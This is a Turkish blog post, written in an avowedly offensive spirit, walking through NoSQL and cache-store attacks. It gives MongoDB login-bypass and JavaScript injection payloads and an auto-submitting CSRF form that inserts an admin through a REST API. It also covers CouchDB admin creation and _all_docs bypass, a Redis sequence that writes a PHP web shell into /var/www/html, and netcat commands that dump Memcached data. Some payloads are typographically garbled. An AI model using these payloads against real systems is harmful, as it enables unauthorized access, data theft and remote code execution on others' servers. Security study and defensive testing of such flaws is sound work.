NoSQL Vulns

 Merhabalar, bu yazımda NoSQL zafiyetlerini anlatmaya çalışacağım. NoSQL'i anlatmak istemedim çünkü biraz geniş;  mongo'sundan couch'ına bir sürü veritabanı var. Bu blog sitemde bulunan yazıların ofansif olmasını istiyorum. O yüzden NoSQL'i anlatmayacağım. Aslında NoSQL’i ve güvenlik açıklarını bir video şeklinde anlatmayı planlıyordum ama birkaç sorundan dolayı direkt olarak blog yazısı olarak paylaşmaya karar verdim umarım yararlı bir yazı olur...

ARRAY INJECTION

Veritabanı: MongoDB

MongoDB veritabanı çalışan bir websitesindeki giriş sayfası örneğine bakalım. Verilen değerleri POST metodu ve array ile aldığını varsayarsak PHP'deki array kodumuz şu şekil olacaktır:

PHP+MongoDB:

db->logins->find(array(“username”=>$_POST[“username”], “password”=>$_POST[“password”]));

POST isteğinin body’si:

username=kullanici&password=p4r0l4

JSON olarak:

{“username”: ”kullanici”, “password”: p4r0l4 }


İstek sonucunda Mongodb sorgusu şu şekilde olacak:

db.logins.find({ username: 'kullanici', password: ‘p4r0l4’ })

Bildiniz üzere Mongodb’nin syntax’ında ‘eşit değildir’ (!=) ifadesi $ne ile kullanılıyor. Eğer bu ifadeyi login sayfasındaki sorguya enjekte edersek login bypass yapabiliriz.

POST isteğinin body’si:

username[$ne]=1&password[$ne]=1


Eğer isteğimizi böyle gönderirsek çalışacak kodlar şu şekilde olacak:

PHP kodu:

array(“username” => array(“$ne” => 1),     “password” => array(“$ne” => 1));

MongoDB sorgusu:

db.logins.find({ username: {$ne: 1}, password: {$ne: 1} })

Sorgu şu şekilde çalışacak: username ve password 1’e eşit olmayan kullanıcıları getir. Büyük ihtimalle bu sorgu kullanıcıların hepsini döndürecek ve id’si en küçük olanıyla direkt sisteme giriş yapmış olacağız.

(Biraz daha açıklayıcı olması için) MongoDB sorgusunun SQL sorgusundaki karşılığı:

SELECT * FROM logins WHERE username <> 1 AND password <> 1

  

NoSQL ‘OR’ injection

Veritabanı: MongoDB

Kullanıcı adı ve şifre parametrelerini bir HTTP POST aracılığıyla dizeleri birleştirerek sorguyu oluşturan back-end'e gönderen bir login formunu inceleyelim. Kodumuz şu şekilde olacaktır:

string query = “{ username: ‘“ + post_username + “’, password:‘” + post_password + “’ }”

Eğer kullanıcı adi olarak kullanici, parola olarak şifre girersek bu şekilde görülecektir

JSON:

{username:'kullanici', password:'sifre'}

Bu girdileri parola olmadan bir kullanıcı hesabına giriş yapacak şekilde düzenleyelim yani ‘or’ mantık ifadesini kullanalım. MongoDB’de or ifadesi $or şekilde kullanılıyor. Or ifadesini eklediğimizde:

POST isteğinin body’si:

username=ka’, $or: [ {}, { ‘a’: ‘a &password=’ } ]$random: ‘ka

Bu isteği gönderdiğimizde json olarak şu şekilde gözükecektir:

{username: ‘ka’, $or: {}, { ‘a’: ‘a’, password: ‘’ }]$comment : ‘yorum falan ’}

Bu sorgu kullanıcı adı doğru olduğu sürece çalışır. Mongodb’de boş olan her sorgu doğru kabul edilmesinden dolayı ‘or’ ifadesi içerisine {} yazdım. $comment eklememizin sebebi hem sondaki tırnaktan (‘) kaçmak hem de  $comment mongodb’de sorgularla beraber kullanıldığında sorguya yorum ekledeğinden dolayıdır böylece sorguda bir hata oluşmayacak.

Bu sorguyu SQL sorgusu şeklinde yazacak olursak yazacak olursak şuna benzeyecek

SELECT * FROM logins WHERE username = ‘ka’ AND (TRUE OR(‘a’=’a’ AND password = ‘’)) #yorum falan

 

NoSQL Javascript Injection

Veritabanı: MongoDB, CouchDB, Cloudant ve Bigcouch

Bazı nosql veritabanları karmaşık sorguları veya map reduce gibi işlemleri gerçekleştirmek için veritabanı motorunda javascritp çalıştırmaktadır.

Eğer js yürütme işlemi düzgün yapılandırılmamışsa kullanıcı girdisi sorguya giden yolu bulursa bir saldırı yüzeyi ortaya çıkar.

Bir ürün koleksiyonuna sahip ve sorguda parametre olarak çıkış karaktersiz kullanıcı inputu içeren karmaşık bir işlem varsayalım. Developer bu alanların toplamını veya ortalamasını almak istedi, bu nedenle kullanıcıdan bir parametre olarak üzerinden işlem yapması gereken field alanının adını bir map reduce işlevi yazdı yazılan kod php olarak şöyle gözükecektir:

PHP kodu:

$map = "function() {
  for (var i = 0; i < this.items.length; i++){
      emit(this.name,
      this.items[i].$param);}}";
 $reduce = "function(name, sum){
     return Array.sum(sum); }";
 $opt = "{ out:'totals' }";
 $db->execute("db.stores.mapReduce($map, $reduce, $
opt);");

Payloadımız:

a);}},function(kv) { return 1; }, { out:'x'}); db.users.insert({success:1}); return1;db.stores.mapReduce(function() { { emit(1,1

Eğer parametre olarak alınan girdiye payloadımızı girersek payloadımızla beraber çalışacak kodumuz şu şekilde olacak

$map = "function() {
 
     for (var i = 0; i < this.items.length; i++) {
 
         emit(this.name,
          
this.items[i].a);}},
 
function(kv) {
     
return 1;},
     
{out:'x'});
 
db.users.insert({success:1});
 return 1;
 db.stores.mapReduce(function() {{ emit(1,1
); }}";
 
$reduce = "function(name, sum) { return Array.sum(sum); }";
 
$opt = "{ out: 'totals' }";
 
$db->execute("db.stores.mapReduce($map, $reduce, $opt);");

Payloadımız users collectionına veri eklememizi sağlayacaktır(altı çizgili olan yer o yüzden oraya uygun değerler yazmamız gerekir.) Altı çizgili olmayan yerler ise bypass etmemizi sağlayacaktır.


 HTTP REST API

Veritabanı: Mongodb, CouchDB, HBase vb.

Bazı Nosql veritabanlarının ortak özelliklerinden biriside HTTP REST API'dir

REST API ile veritabanının uygulamalara basitçe sunulmasını sağlar çünkü bir aracıya ihtiyaç duyulmaz, herhangi bir programlama dilinin veritabanına HTTP sorguları gerçekleştirmesine izin verir.

Peki bunun güvenlik riski var mıdır? Evet vardır. REST API, veritabanını CSRF saldırılarına açık hale getirir. bir saldırganın güvenlik duvarını ve diğer savunmaları atlamasına izin verir.

Eğer veritabanının intranette çalıştığını varsayarsak eğer saldırgan bu ağa bağlanmış herhangi bir çalışana zararlı kodu barındıran bir siteyi ziyaret etmesini sağlarsa. csrf atak başarılı olacaktır.

Saldırganın eğer ağa sızdıysa bunu kendisi de yapabilir.

Şimdi örnek ile inceleyelim:

MongoDB için tam özellikli bir HTTP arayüzü olan Sleepy Mongoose API, URL tarafından şu şekilde tanımlanır:

http://{host name}/{db name}/{collection name}/{action}

Bir belgeyi bulmaya yönelik parametreler sorgu parametreleri olarak eklenebilir ve yeni belgeler istek verileri olarak eklenebilir. Örneğin, safe internal db host'undaki hr adlı veritabanındaki admins collection'a username’i attacker olan yeni document eklemek istersek, bu URL’e POST olarak bu verileri göndermemiz gerekecek

Eklemek istediğimiz veri: {username: 'attacker'}

URL: http://safe.internal.db/hr/admins/_insert

Post body’si: username=attacker 

Önceden de dediğim gibi saldırının başarılı olması için birkaç koşulun karşılanması gerekir. Birincisi, saldırganların ya kendilerine ait bir web sitesi üzerinde ya da bir web sitesini istismar ederek kontrol sahibi olmaları gerekir. Saldırganlar, web sitesine bir HTML formu ve formu otomatik olarak gönderecek bir JavaScript yerleştirir. 

CSRF: <form action=”http://safe.internal.db/hr/admins/_insert” method=”POST” name=”csrf”>
 <input type=”text” name=”docs” value=”[{"username":attacker}]” />
 </form><script> document.forms[0].submit();</script>

 

Şimdi Couchdb’yi biraz ayrıntılı inceleyelim:

Eğer couchdb kullanıyorsanız ve yöneticiyseniz ekranda olan kodları kullanabilirsiniz. Bu kodlar ile veritabanı oluşturma, silme, document oluşturma, silme, update etme, gibi işlemleri yapabilirsiniz.

Veritabanı oluşturma: PUT /databaseismi

Veritabanı Silme: DELETE /databaseismi

Document oluşturma: PUT /database/<doc> (isteğin body'sinde json formatında eklenecek değerler olmalıdır)

Document update etme: PUT /database/<doc>?rev=1-4E2 (isteğin body'sinde json formatında değiştirilecek değerler olmalıdır. Rev değeri token'dır)

Document silme: DELETE /database/<doc>?rev=2-6A7

Task Status listesini okuma: GET /_active_tasks

 

CouchDB’de bu api’leri kullanarak admin ekleyebiliyoruz.

curl -X PUT $HOST/_node/$NODENAME/_config/admins/kullanici -d '"password"'

HOST="http://admin:password@127.0.0.1:5984"

NODENAME="_local"

Host değişkenimiz kullanıcı adı, parola, ip adres ve veritabanı portunu içeriyor.

Buradaki _local'ın local node ismi için bir takma ad görevi görüyor, bu nedenle tüm yapılandırma URL'leri için NODENAME, yerel node’un yapılandırmasıyla etkileşim kurmak için _local olarak ayarlanabilir.

Version 2 öncesi için admin eklemek daha kolay version 2  öncesi için:

curl -s -X PUT http://localhost:5984/_config/admins/ka -d '"123456"'

Buradan da anlayabileceğiniz gibi version 2den öncesi bu attack için daha uygun diyebiliriz.

 

CouchDB Login Bypass

PHP array injection ile MongoDB veritabanlarını kullanılan application’ların login bypass işlemini görmüştük şimdi ise CouchDB login bypass’a bakalım. 

all docs, veritabanındaki belgelerin tümünü döndürür.

changes, Veritabanındaki belgelere yapılan değişikliklerin sıralı bir listesini verir

Tanımlanmamış parola özelliğine sahip özel _all_docs belgesini kullanarak bypass yapabiliriz.

https://site.org/login?user=_all_docs

https://site.org/login?user[]=_all_docs

 

Redis Enumeration

Redis metin tabanlı bir protokoldur. Komutu socket’e gönderebilirsiniz gelen response okunabilir olacaktır. Bunun için ilk önce veritabanına bağlanmamız gerekiyor. Redis’e bağlanmak için netcat veya redis-cli kullanabilirsiniz. Bağlandığınızda yapmanız gereken ilk iş info komutunu göndermek olmalı. Redis default olarak bir giriş bilgisi olmadan erişilebildiği için eğer bir kullanıcı oluşturulmamışsa biize bilgileri döndürebilir veya Configrasyon yapıldıysa bize “No Auth Authenticaiton required” döndürecektir. Eğer no auth uyarısı döndürürse giriş bilgilerine ihtiyacımız var demektir.

> redis-cli -h <ip adres>

INFO

NOAUTH Authentication required.

AUTH <username> <password>

+OK

Eğer sadece şifre yapılandırıldıysa, default kullanıcı adı ‘default’tur. Kullanıcı adını ve şifresini elde etmek için Brute Force kullanılabilir. Eğer bilgiler doğruysa size “OK” döndürecektir.

Eğer redis anonim bağlanmayı kabul ediyorsa veya giriş bilgilerini bulduysanız. Enumeration’a başlayabilirsiniz. Bu komutlardan bazıları ise şunlar:

client list

CONFIG GET *

INFO komutu bize redis ile ilgili bilgileri döndürecektir. Client list, bağlı olan clientları, Config get ise configrasyonu getirecektir. Ve daha bir sürü komutu çalıştırabilirsiniz.

Database dump aşamasına geçersek. Redis'in içindeki veritabanları 0'dan başlar. "Keyspace"  içindeki komut bilgilerinin çıktısında herhangi birinin kullanılıp kullanılmadığını bulabilirsiniz: INFO <Keyspace alanı>

>INFO <keyspacealanı>

# Keyspace
 db0:keys=4,expires=0,avg_ttl=0
 db1:keys=2,expires=0,avg_ttl=0

Bu örnekte veritabanı 0 ve 1 kullanılmaktadır. Veritabanı0, 4 anahtar içerir ve veritabanı1, 2 tane içerir. Varsayılan olarak Redis, veritabanı0'ı kullanır. Örnek veritabanı 1'i dökmek için yapmanız gerekenler ise şunlar:

>Select 1

KEYS *

Select komutu ile veritabanı seçeriz. Keys yıldız komutu ile anahtarları döndürür. GET ile key’i yazarsak bize yazdığımız anahtarla ilgili verileri döndürür.

 GET <key>

Aslında şuan veri tabanının içerisinde olduğumuz için bir RCE açığı oluşturabiliriz. veritabanına anonim bağlandık veya giriş bilgilerini bulup bağlandık. Şimdi  bir dosya oluşturup içerisine backdoor’umuzu koyabiliriz bunun için şu komutları kullanmalıyız:

config set dir /var/www/html

Yanıt: OK

config set dbfilename rce.php

Yanıt: OK

set test “<?php system($_GET[‘cmd’]); ?>”

Yanıt: OK

>save

Yanıt: OK


 C
onfig set dir komutu ile çalışan web sunucusunun klasörünü seçiyoruz. Daha sonra dbfilename olarak php dosyamızın belirletip oluşturuyoruz. Bundan sonra set test ile ilgili kodumuzu yazıp save komutu ile kaydediyoruz.

 

Memcached

Memcached, SASL'yi (Basit Kimlik Doğrulama ve Güvenlik Katmanı) desteklese de, çoğu örnek kimlik doğrulaması olmadan kullanıma sunulur.

Bir memcached örneğinde kaydedilen tüm bilgileri filtrelemek için yapmanız gerekenleri 3 adım olarak sıralayabiliriz.
  1- Active itemlere sahip Slab’leri bulmak:
  2- Önceden belirlediğimiz slab’lerin key namelerini almak
  3- alınan key nameler ile kaydedile
n verileri filtrelemek

Şimdi gerekli komutlarımıza bakalım. Bildiğiniz üzere memcached’in kullandığı port numarası 11211’di. Bu örnekte veritabanına netcat ile bağlanıyoruz varsayacağım.

 

ilk olarak veritabanının versiyonuna bakmak için “version” kelimesini kullanıyoruz.
  stats komutu ile durum bilgisini alıyoruz.
  stats slabs komutu ile slab’leri döndürüyoruz.
  stats items komutu ile slab’lerin itemlerini bilgilerini döndürür:

echo “version” | nc -vn -w 1 <IP> 11211

echo “stats” | nc -vn -w 1 <IP> 11211

echo “stats slabs” | nc -vn -w 1 <IP> 11211

echo “stats items” | nc -vn -w 1 <IP> 11211

buraya kadar 1. adımımızı gerçekleştirmiş bulunuyoruz

(2.adım) stats cachedump ve slab numarası ile key namelerini döndüreceğiz. Komutta bulunan 0 sayısı sınırsız çıktı için gerekli:

echo “stats cachedump <numara> 0” | nc -vn -w 1 <IP> 11211

2. adımımızı da gerçekleştirdik ve son adım kaldı: Kaydedilen bilgileri almak... Onun için de get item ismini kullanıyoruz..

echo “get <item_ismi>” | nc -vn -w 1 <IP> 11211

Bu servisin sadece bir önbellek olduğunu unutmamak gerekir.


Umarım yararlı bir yazı olmuştur. Yanlış bir şey yazdıysam yorum atıp bildirirseniz düzeltirim. Bir sonraki yazımda görüşmek üzere iyi günler...

Kaynakça (notlarımdan baktığım için kaynakça eksik, buldukça tamamlayacağım):

https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf

https://book.hacktricks.xyz/pentesting/11211-memcache

https://docs.couchdb.org/en/main/api/document/common.html

No comments:

Post a Comment